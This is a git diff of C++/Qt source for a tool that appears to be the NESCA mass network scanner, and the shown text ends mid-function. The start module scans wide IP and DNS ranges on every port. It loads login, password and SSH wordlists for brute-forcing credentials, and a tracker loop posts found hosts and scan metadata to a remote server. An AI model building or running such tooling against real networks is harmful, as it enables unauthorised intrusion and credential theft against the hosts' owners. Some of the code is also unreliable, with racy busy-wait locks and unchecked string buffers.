TOPIC + + + nickList + ircRaw + IRCModeBut_2 + ircServerBox + shoutBox + serverPortBox + ircNickBox + IRCConnectBut + ircText + ircProxy + ircProxyPort + IRCCheckProxyBut + IRCModeChangerBut + DataflowModeBut_2 + nickShowBut + topicLine + IRCUTFMode + IRCCP1251Mode + labelIPRange_2 + labelIPRange_3 + labelIPRange_4 + labelIPRange_5 + + + + + + ipLine + portLine + threadLine + lineEditStartIPDNS + lineILVL + lineEditPort + lineEditThread + lineTrackerSrv + lineTrackerScr + linePersKey + trackerOnOff + tabMainWidget + startScanButton_3 + startScanButton_4 + exitButton + dataText + + + + + + diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp new file mode 100755 index 0000000..f3f02d1 --- /dev/null +++ b/nesca_startModule.cpp @@ -0,0 +1,2555 @@ +#pragma once +#include "STh.h" +#include "resource.h" + +int gC = 0; +static int portArr[65536] = {0}; +char endIP2[128] = {0}; +QJsonArray *jsonArr = new QJsonArray(); +int gTimeOut = 3; +int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0; +int AnomC1 = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0, WF = 0, offlines = 0, ssh = 0; +volatile int BA = 0; +int GlobalWSAErr = 0; +int GlobalNegativeSize = 0; +volatile int BrutingThrds = 0; +char top_level_domain[128] = {0}; +char startM[64] = {0}, endM[64] = {0}; +char **GlobalNegatives = 0; +char **loginLst, **passLst; +char **wfLoginLst, **wfPassLst; +char **sshlpLst; +double ips = 0; +volatile int cons = 0; +int ovrlIPs = 0, ipCounter = 0; +int mode; +volatile int threads = 20; +unsigned long int gTargets = 0, gTargetsOverall = 1; +int found = 0, fillerFlag = 0, indexIP = 1; +int gMaxSize = 65536; +char des1[64] = {0}, res[32]= {0}; +char saveStartIP[128] = {0}; +char saveEndIP[128] = {0}; +volatile int gThreads; +int gMode; +char gRange[128] = {0}; +char gFirstDom[128] = {0}; +char gPorts[65536] = {0}; +int OnLiner = 0; +int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0; +unsigned long int targets; +int ipsstart[4], ipsend[4], ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4], + startNum, endNum, overallPorts, flCounter, octet[4]; +char metaIPDNS[256] = {0}; +char metaRange[256] = {0}; +char metaPercent[256] = {0}; +char metaIPS[256] = {0}; +char metaTargets[256] = {0}; +char metaETA[256] = {0}; +char metaOffline[256] = {0}; +volatile bool ConnLocked = false; +bool ErrLogFirstTime = true; +void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv) +{ + FILE *errFile = fopen("./logs/ns-track_errors.html", "r"); + if(errFile != NULL) + { + fclose(errFile); + }; +#if defined(WIN32) + CreateDirectory(L"./logs", NULL); +#else + struct stat st = {0}; + if (stat("./logs", &st) == -1) { + mkdir("./logs", 0700); + } +#endif + time_t rtime; + time(&rtime); + char cdate[32] = {0}; + strcpy (cdate, ctime (&rtime)); + + char *totalErrLog = NULL; + char stylePart[] = {""}; + char firstPart[] = {"
"}; + char secondPart[] = {"
Message sent:
"};
+	char thirdPart[] = {"
Reply received:
"}; + + int sz = strlen(stylePart) + strlen(firstPart) + strlen(secondPart) + strlen(thirdPart) + strlen(forthPart) + strlen(QByteArray(MesSent).replace("\r\n", "\n").data()) + (strlen(ReplRecv) + 50*strlen(ReplRecv)/100) + strlen(cdate) + strlen(sender); + + totalErrLog = new char[sz + 4]; + ZeroMemory(totalErrLog, sz); + if(ErrLogFirstTime) strcat(totalErrLog, stylePart); + strcat(totalErrLog, firstPart); + strcat(totalErrLog, sender); + strcat(totalErrLog, " - "); + strcat(totalErrLog, cdate); + strcat(totalErrLog, secondPart); + strcat(totalErrLog, QByteArray(MesSent).replace("\r\n", "\n").data()); + strcat(totalErrLog, thirdPart); + strcat(totalErrLog, base64_encode((const unsigned char *)ReplRecv, strlen(ReplRecv)).c_str()); + strcat(totalErrLog, forthPart); + memset(totalErrLog + sz, '\0', 1); + + errFile = fopen("./logs/ns-track_errors.html", "a"); + if(errFile != NULL) + { + fwrite(totalErrLog, sz, 1, errFile); + fclose(errFile); + } + else + { + stt->doEmitionRedFoundData("[Log] -Cant open log file!"); + }; + if(totalErrLog != NULL) + { + delete []totalErrLog; + totalErrLog = NULL; + }; +}; +QString GetNSErrorDefinition(char *str, char *elem) +{ + char *temp = strstr(str, elem); + + if(temp != NULL) + { + char definition[128] = {0}; + char *firstComma = strstr(temp + strlen(elem) + 1, "\""); + char *lastComma = strstr(firstComma + 1, "\""); + + int sz = lastComma - firstComma - 1; + + strncpy(definition, firstComma + 1, (sz < 128 ? sz : 128)); + + return QString(definition); + } + else return QString("No definition found!"); +}; +void ConInc() +{ + while(ConnLocked) Sleep(20); + + ConnLocked = true; + __asm + { + add cons, 1; + }; + ConnLocked = false; + #pragma region QTGUI_Area + stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); + #pragma endregion +}; +volatile bool ConnLocked2 = false; +void ConDec() +{ + while(ConnLocked) Sleep(10 + (rand() % 5 + 1)); + + ConnLocked = true; + while(ConnLocked2) Sleep(18); + ConnLocked2 = true; + if(cons > 0) + { + __asm + { + sub cons, 1; + }; + }; + ConnLocked2 = false; + ConnLocked = false; + #pragma region QTGUI_Area + stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); + #pragma endregion +}; + +std::vector dnsVec; +std::string dnsVecBU; +void _saveDNSMode() +{ + if(dnsVecBU.size() != 0) + { + FILE *dnsFile = fopen("dnsbackup.lst", "w"); + if(dnsFile != NULL) + { + for(int i = std::distance(dnsVec.begin(), std::find(dnsVec.begin(), dnsVec.end(), dnsVecBU)); i < dnsVec.size(); ++i) + { + fputs(dnsVec[i].c_str(), dnsFile); + fputc('\n', dnsFile); + }; + fclose(dnsFile); + } + else + { + stt->doEmitionRedFoundData("[!!!] Cant save DNS-range."); + }; + }; +}; +void _SaveBackupToFile() +{ + char saveStr[512] = {0}; + char saveBuffer[65536] = {0}; + char endStr[128] = {0}; + + if(gMode == 0 || gMode == 1) + { + if(gMode == 1) + { + _saveDNSMode(); + if(strstr(endIP2, "RESTORED_SESSION") == NULL) + { + strcpy(endStr, "[RESTORED_SESSION("); + strcat(endStr, endIP2); + strcat(endStr, ")]"); + } + else + { + strcpy(endStr, endIP2); + }; + } + else + { + if(strstr(endIP2, "-") != NULL) strcpy(endStr, strstr(endIP2, "-")); + else if(strstr(endIP2, "/") != NULL) strcpy(endStr, strstr(endIP2, "/")); + else + { + char temp[512] = {0}; + strncpy(temp, endIP2, 512); + strcat(endIP2, "-"); + strcat(endIP2, temp); + strcpy(endStr, strstr(endIP2, "-")); + }; + }; + + if(strlen(endIP2) > 0) + { + strcpy(saveStr, "[SESSION]:"); + strcat(saveStr, std::to_string((long double)gMode).c_str()); + strcat(saveStr, " "); + if(gMode == 0) strcat(saveStr, saveStartIP); + strcat(saveStr, endStr); + if(gMode == 1) + { + strcat(saveStr, " "); + strcat(saveStr, top_level_domain); + }; + strcat(saveStr, " "); + strcat(saveStr, std::to_string((long double)gThreads).c_str()); + strcat(saveStr, " "); + strcat(saveStr, gPorts); + + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + }; + } + else if(gMode == -1) + { + char curIpStart[16] = {0}; + char curIpEnd[16] = {0}; + char ipRange[128] = {0}; + + if(flCounter > 0) + { + FILE *savingFile = fopen("tempIPLst.bk", "w"); + if (savingFile != NULL) + { + for(int tCounter = gC; tCounter < flCounter; ++tCounter) + { + for(int i = 0; i < 4; ++i) + { + strcat(curIpStart, std::to_string((long double)ipsstartfl[tCounter][i]).c_str()); + if ( i != 3) strcat(curIpStart, "."); + strcat(curIpEnd, std::to_string((long double)ipsendfl[tCounter][i]).c_str()); + if ( i != 3) strcat(curIpEnd, "."); + }; + + strcpy(ipRange, curIpStart); + strcat(ipRange, "-"); + strcat(ipRange, curIpEnd); + strcat(ipRange, "\n"); + + fputs(ipRange, savingFile); + + ZeroMemory(ipRange, sizeof(ipRange)); + ZeroMemory(curIpStart, sizeof(curIpStart)); + ZeroMemory(curIpEnd, sizeof(curIpEnd)); + }; + fclose(savingFile); + } + else stt->doEmitionRedFoundData("[_saver] Cannot open file."); + }; + + strcpy(saveStr, "[SESSION]:"); + strcat(saveStr, std::to_string((long double)gMode).c_str()); + strcat(saveStr, " RESTORE_IMPORT_SESSION"); + strcat(saveStr, " "); + strcat(saveStr, std::to_string((long double)gThreads).c_str()); + strcat(saveStr, " "); + strcat(saveStr, gPorts); + + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + }; + + strcpy(saveStr, "[NDBSERVER]:"); + strcat(saveStr, trcSrv); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[NDBSCRIPT]:"); + strcat(saveStr, trcScr); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[NDBPORT]:"); + strcat(saveStr, trcSrvPortLine); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[PROXY]:"); + strcat(saveStr, trcProxy); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[PROXYPORT]:"); + strcat(saveStr, trcPort); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[IRCSERVER]:"); + strcat(saveStr, ircServer); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[IRCPORT]:"); + strcat(saveStr, ircPort); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[IRCPROXY]:"); + strcat(saveStr, ircProxy); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[IRCPROXYPORT]:"); + strcat(saveStr, ircProxyPort); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[IRCNICK]:"); + strcat(saveStr, ircNick); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + strcpy(saveStr, "[PERSKEY]:"); + strcat(saveStr, trcPersKey); + strcat(saveStr, "\n"); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + FILE *savingFile = fopen("restore", "w"); + + if (savingFile != NULL) + { + fputs(saveBuffer, savingFile); + fclose(savingFile); + } + else stt->doEmitionRedFoundData("[_saver] Cannot open file."); + + ZeroMemory(saveStr, strlen(saveStr)); + ZeroMemory(saveBuffer, strlen(saveBuffer)); +}; +void _saver() +{ + while(globalScanFlag) + { + _SaveBackupToFile(); + + Sleep(10000); + }; +}; + +#if defined(WIN32) +void _timer() +#else +void *_timer() +#endif +{ + char dbuffer[32] = {0}, timeLeft[64] = {0}, b[32] = {0}; + int ticks = 0; + ovrlIPs = 0; + ips = 1; + Sleep(50); + while(globalScanFlag) + { + ++ticks; + ovrlIPs += ipCounter; + ipCounter = 0; + ips = ovrlIPs/ticks; + strncpy(b, QString::number(ips).toLocal8Bit().data(), 5); + + strcpy(metaIPS, b); + strcat(timeLeft, b); + strcat(timeLeft, "/s ("); + + if(ips > 0) + { + strncpy(dbuffer, std::to_string((long double)((gTargets + 1)/ips/3600/24)).c_str(), 5); + } + else strcpy(dbuffer, "INF"); + strcpy(metaETA, dbuffer); + strcat(dbuffer, "d)"); + strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer)); + + #pragma region QTGUI_Area + stt->doEmitionIPS(QString(timeLeft)); + stt->doEmitionOffline(QString::number(offlines)); + #pragma endregion + ZeroMemory(timeLeft, sizeof(timeLeft)); + ZeroMemory(dbuffer, sizeof(dbuffer)); + Sleep(1000); + }; +}; +bool trackAlreadyGoing = false; +#if defined(WIN32) +void _tracker() +#else +void *_tracker() +#endif +{ + if(trackAlreadyGoing == false) + { + while(trackerOK) + { + if(globalScanFlag == false && jsonArr->size() == 0) break; + char rBuffT[250000] = {0}; + char *msg = new char[4096]; + ZeroMemory(msg, sizeof(msg)); + char ndbServer[64] = {0}; + char ndbScriptT[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET /"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.1\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + closesocket(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); +#pragma endregion + continue; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + closesocket(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); +#pragma endregion + continue; + }; + + ZeroMemory(rBuffT, sizeof(rBuffT)); + char rBuff[512] = {0}; + test = recv(sock, rBuff, sizeof(rBuff), 0); + strcpy(rBuffT, rBuff); + while((test = recv(sock, rBuff, sizeof(rBuff), 0)) != 0) + { + if(strlen(rBuffT) > 200000) + { + stt->doEmitionRedFoundData("[NS-Track] (Outer) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); + SaveErrorLog("NS-Track", msg, rBuffT); + break; + }; + strcat(rBuffT, rBuff); + }; + if(test == -1) + { + closesocket(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); +#pragma endregion + continue; + }; + + char *t1; + char *t2; + if(strstr(rBuffT, "http://") != NULL) + { + t1 = strstr(rBuffT, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + closesocket(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); + SaveErrorLog("NS-Track", msg, rBuffT); +#pragma endregion + continue; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + if(strlen(t2) > 64) + { +#pragma region QTGUI_Area + stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!"); +#pragma endregion + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + closesocket(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); +#pragma endregion + SaveErrorLog("NS-Track", msg, rBuffT); + continue; + } + else + { + strncpy(ndbScriptT, t2, y); + closesocket(sock); +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop..."); +#pragma endregion + strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) ); + }; + } + else + { + closesocket(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); +#pragma endregion + SaveErrorLog("NS-Track", msg, rBuffT); + continue; + }; + } + else + { + strcpy(ndbScriptT, t2); +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop..."); +#pragma endregion + closesocket(sock); + strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 ); + }; + } + else + { + closesocket(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!"); +#pragma endregion + continue; + }; + + ZeroMemory(rBuffT, sizeof(rBuffT)); + + while(trackerOK) + { + if(globalScanFlag == false && jsonArr->size() == 0) break; + trackAlreadyGoing = true; + if(jsonArr->size() > 0) + { + QJsonObject jsonKey; + if(jsonArr == NULL) jsonArr = new QJsonArray(); + + QJsonObject jsonMeta; + if(mode == 0) jsonMeta.insert("mode", QJsonValue(QString("IP"))); // + else if(mode == 1) jsonMeta.insert("mode", QJsonValue(QString("DNS"))); //Mode + else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); // + jsonMeta.insert("range", QJsonValue(QString(metaRange)) ); + jsonMeta.insert("current", QJsonValue(QString(metaIPDNS)) ); + if(mode == 1) jsonMeta.insert("tld", QJsonValue(QString(top_level_domain))); //TLD + jsonMeta.insert("targets", QJsonValue(QString(metaTargets)) ); + jsonMeta.insert("percent", QJsonValue(QString(metaPercent)) ); + jsonMeta.insert("saved", QJsonValue(QString::number(saved)) ); + jsonMeta.insert("found", QJsonValue(QString::number(found)) ); + jsonMeta.insert("speed", QJsonValue(QString(metaIPS)) ); + jsonMeta.insert("eta", QJsonValue(QString(metaETA)) ); + jsonMeta.insert("threads", QJsonValue(QString::number(cons) + "/" + QString::number(gThreads)) ); + jsonMeta.insert("bads", QJsonValue(QString::number(offlines)) ); + jsonMeta.insert("version", QJsonValue(QString(gVER)) ); + + jsonArr->push_front(QJsonValue(jsonMeta) ); + memset(trcPersKey + 32, '\0', 1); + jsonKey.insert("key", QJsonValue(QString(trcPersKey)) ); + jsonArr->push_front(jsonKey); + + QJsonDocument js; + js.setArray(*jsonArr); + QByteArray r = js.toJson(); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + if(msg != NULL) + { + delete []msg; + msg = 0; + }; + msg = new char[r.size() + 1024]; + ZeroMemory(msg, sizeof(msg)); + + strcpy(msg, "POST /"); + strcat(msg, ndbScript); + strcat(msg, " HTTP/1.1\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: "); + + strcat(msg, std::to_string((long double)r.size()).c_str()); + strcat(msg, "\r\nConnection: close\r\n\r\n"); + + strcat(msg, r.data()); + + delete jsonArr; + jsonArr = new QJsonArray(); + +#if defined(WIN32) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Connecting to " + QString(ndbServer)); + }; + test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + "."); +#pragma endregion + continue; + }; + + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Sending!"); + stt->doEmitionDebugFoundData("Key: [" + QString(trcPersKey) + "]"); + stt->doEmitionDebugFoundData("MSG: [" + QString(msg) + "]"); + }; + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + "."); +#pragma endregion + SaveErrorLog("NS-Track", msg, ""); + continue; + }; + + ZeroMemory(rBuffT, sizeof(rBuffT)); + char msgR[32] = {0}; + + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Receiving..."); + }; + test = recv(sock, rBuff, 512, 0); + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); + }; + strncpy(msgR, rBuff, 32); + strcpy(rBuffT, rBuff); + while(test > 0) + { + if(test <= 0) break; + + if(strlen(rBuffT) > 200000) + { + stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); + SaveErrorLog("NS-Track", msg, rBuffT); + break; + }; + strcat(rBuffT, rBuff); + test = recv(sock, rBuff, 512, 0); + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); + }; + }; + if(test == -1) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + "."); +#pragma endregion + SaveErrorLog("NS-Track", msg, ""); + continue; + }; + if(strstr(rBuffT, "201 Created") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!"); +#pragma endregion + } + else if(strstr(rBuffT, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(rBuffT, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]"); +#pragma endregion + SaveErrorLog("NS-Track", msg, rBuffT); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]"); +#pragma endregion + SaveErrorLog("NS-Track", msg, rBuffT); + }; + + ZeroMemory(msgR, sizeof(msgR)); + ZeroMemory(rBuffT, sizeof(rBuffT)); + ZeroMemory(msg, sizeof(msg)); + if(msg != NULL) + { + delete []msg; + msg = 0; + }; + + shutdown(sock, 2); + closesocket(sock); + }; + Sleep(10000); + }; + } + else + { + shutdown(sock, 2); + closesocket(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string."); + SaveErrorLog("NS-Track", msg, rBuffT); +#pragma endregion + }; + + }; + trackAlreadyGoing = false; + }; +}; + +unsigned long int numOfIpsFL() +{ + for(int i = 0; i < flCounter; ++i) + { + gTargets += (ipsendfl[i][3]-ipsstartfl[i][3])*(ipsendfl[i][2]-ipsstartfl[i][2])*(ipsendfl[i][1]-ipsstartfl[i][1])*(ipsendfl[i][0] - ipsstartfl[i][0]); + if (gTargets < 0) gTargets *= (-1); + gTargets += (ipsendfl[i][3]-ipsstartfl[i][3]) * (ipsendfl[i][2]-ipsstartfl[i][2]) * (ipsendfl[i][1] - ipsstartfl[i][1]); + if (gTargets < 0) gTargets *= (-1); + gTargets += (ipsendfl[i][3]-ipsstartfl[i][3] + 1) * (ipsendfl[i][2] - ipsstartfl[i][2] + 1); + if (gTargets < 0) gTargets *= (-1); + }; + --gTargets; + gTargetsOverall = gTargets; + return gTargets; +}; +unsigned long int numOfIps(int ipsstart[], int ipsend[]) +{ + gTargets += 256*256*256*(ipsend[0] - ipsstart[0]); + if (gTargets < 0) gTargets *= (-1); + gTargets += 256 * 256 * (ipsend[1] - ipsstart[1]); + if (gTargets < 0) gTargets *= (-1); + gTargets += 256 * (ipsend[2] - ipsstart[2]); + if (gTargets < 0) gTargets *= (-1); + gTargets += (ipsend[3] - ipsstart[3]); + if (gTargets < 0) gTargets *= (-1); + + gTargetsOverall = gTargets; + return gTargets; +}; +//#include +//#include +//#include +//#include +//char *GetHost(char *ip) +//{ +// char res[256] = {0}; +// adns_state ads = NULL; +// adns_init(&ads, adns_if_nosigpipe, 0); +// +// adns_query aquery = 0; +// adns_answer* answer = NULL; +// sockaddr_in sockAddr; +// sockAddr.sin_family = AF_INET; +// sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); +// +// adns_submit_reverse(ads, +// (struct sockaddr *)&sockAddr, +// (adns_rrtype)adns_r_ptr, +// (adns_queryflags)adns_qf_quoteok_anshost, +// NULL, +// &aquery); +// adns_wait(ads, &aquery, &answer, NULL); +// +// if(answer->status == adns_s_ok) +// { +// strncpy(res, (const char*)answer->rrs.bytes, 256); +// }; +// +// adns_finish(ads); +// //struct hostent *result; +// //unsigned long addr = inet_addr(ip); +// //result = gethostbyaddr((char*)&addr, sizeof(addr), AF_INET); +// return res; +// +//#pragma region Reverse-ip +// //struct hostent *result; +// //unsigned long addr = inet_addr(ip); +// //result = gethostbyaddr((char*)&addr, sizeof(addr), AF_INET); +// //char res[256] = {0}; +// +// //if( result == NULL ) +// //{ +// // strcpy(res, ""); +// //} +// //else +// //{ +// // if( result->h_name == NULL ) +// // { +// // strcpy(res, ""); +// // } +// // else +// // { +// // strcpy(res, "Hostname: "); +// // //if(result->h_length != NULL) strcat(res, std::to_string((long double)result->h_length).c_str()); +// // //strcat(res, " "); +// // //if(result->h_name != NULL) strcat(res, (result->h_name)); +// // //strcat(res, ":"); +// // if(result->h_addr_list[0] != NULL) +// // { +// // int sz = strlen((result->h_addr_list[0] + 4)); +// // if(sz > 200) stt->doEmitionYellowFoundData("[LOL] Very long host detected [" + QString(ip) + "]"); +// // strncpy(res, (result->h_addr_list[0] + 4), sz < 256 ? sz : 256); +// // }; +// // }; +// //}; +//#pragma endregion +// +// return res; +//}; + +#if defined(WIN32) +void _connect(void* ss) +#else +void *_connect(void* ss) +#endif +{ + if(globalScanFlag) + { + char ip[MAX_ADDR_LEN] = {0}; + strcpy(ip, ((sockstruct*)ss)->argv); + delete []ss; + //char hostLog[256] = {0}; + //strcpy(hostLog, GetHost(ip)); + + Connector con; + ++ipCounter; + + for(int i = 0; i <= overallPorts; ++i) + { + if(globalScanFlag == false) break; + con._ConnectToPort( ip, std::to_string((long double)portArr[i]).c_str(), "" ); + }; + + ConDec(); + }; +}; +void targetAndIPWriter(unsigned long int target, char *buff) +{ + char curIPBuff[256] = {0}, targetNPers[32] = {0}, dbuffer[32] = {0}; + strcpy(metaIPDNS, buff); + char b[32] = {0}; + sprintf(b, "%Lu", target); + strcpy(targetNPers, b); + strcpy(metaTargets, targetNPers); + if(gTargetsOverall != 0) sprintf(dbuffer, "%.1f", (100 - target/(double)gTargetsOverall * 100)); + else strcpy(dbuffer, "0"); + strcat(targetNPers, " ("); + strcat(targetNPers, dbuffer); + strcat(targetNPers, "%)"); + strcpy(metaPercent, dbuffer); + + strcpy(curIPBuff, "--->"); + strcat(curIPBuff, buff); + + #pragma region QTGUI_Area + stt->doEmitionIPRANGE(QString(curIPBuff)); + stt->doEmitionTargetsLeft(QString(targetNPers)); + #pragma endregion +}; +void _passLoginFapper() +{ + MaxLogin = 0; + MaxPass = 0; + + FILE *loginList; + FILE *passList; + + char buffFG[32] = {0}; + int i = 0; + + loginList = fopen("login.txt", "r"); + passList = fopen("pass.txt", "r"); + + if(passList != NULL && loginList != NULL) + { + while(fgets(buffFG, 32, loginList) != NULL) + { + MaxLogin++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + while(fgets(buffFG, 32, passList) != NULL) + { + MaxPass++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(loginList); + rewind(passList); + + loginLst = new char*[MaxLogin]; + passLst = new char*[MaxPass]; + + for(int j = 0; j < MaxLogin; j++) + { + loginLst[j] = new char[32]; + }; + + for(int j = 0; j < MaxPass; j++) + { + passLst[j] = new char[32]; + }; + + while(fgets(buffFG, 32, passList) != NULL) + { + memset(passLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(passLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Password list loaded (" + QString(std::to_string((long double)MaxPass).c_str()) + " entries)"); + #pragma endregion + + i = 0; + + while(fgets(buffFG, 32, loginList) != NULL) + { + memset(loginLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(loginLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Login list loaded (" + QString(std::to_string((long double)MaxLogin).c_str()) + " entries)"); + #pragma endregion + + fclose(loginList); + fclose(passList); + } + else + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("No password/login list found"); + stt->doEmitionKillSttThread(); + #pragma endregion + }; + + MaxWFLogin = 0; + MaxWFPass = 0; + + FILE *wfLoginList; + FILE *wfPassList; + + ZeroMemory(buffFG, sizeof(buffFG)); + i = 0; + + wfLoginList = fopen("wflogin.txt", "r"); 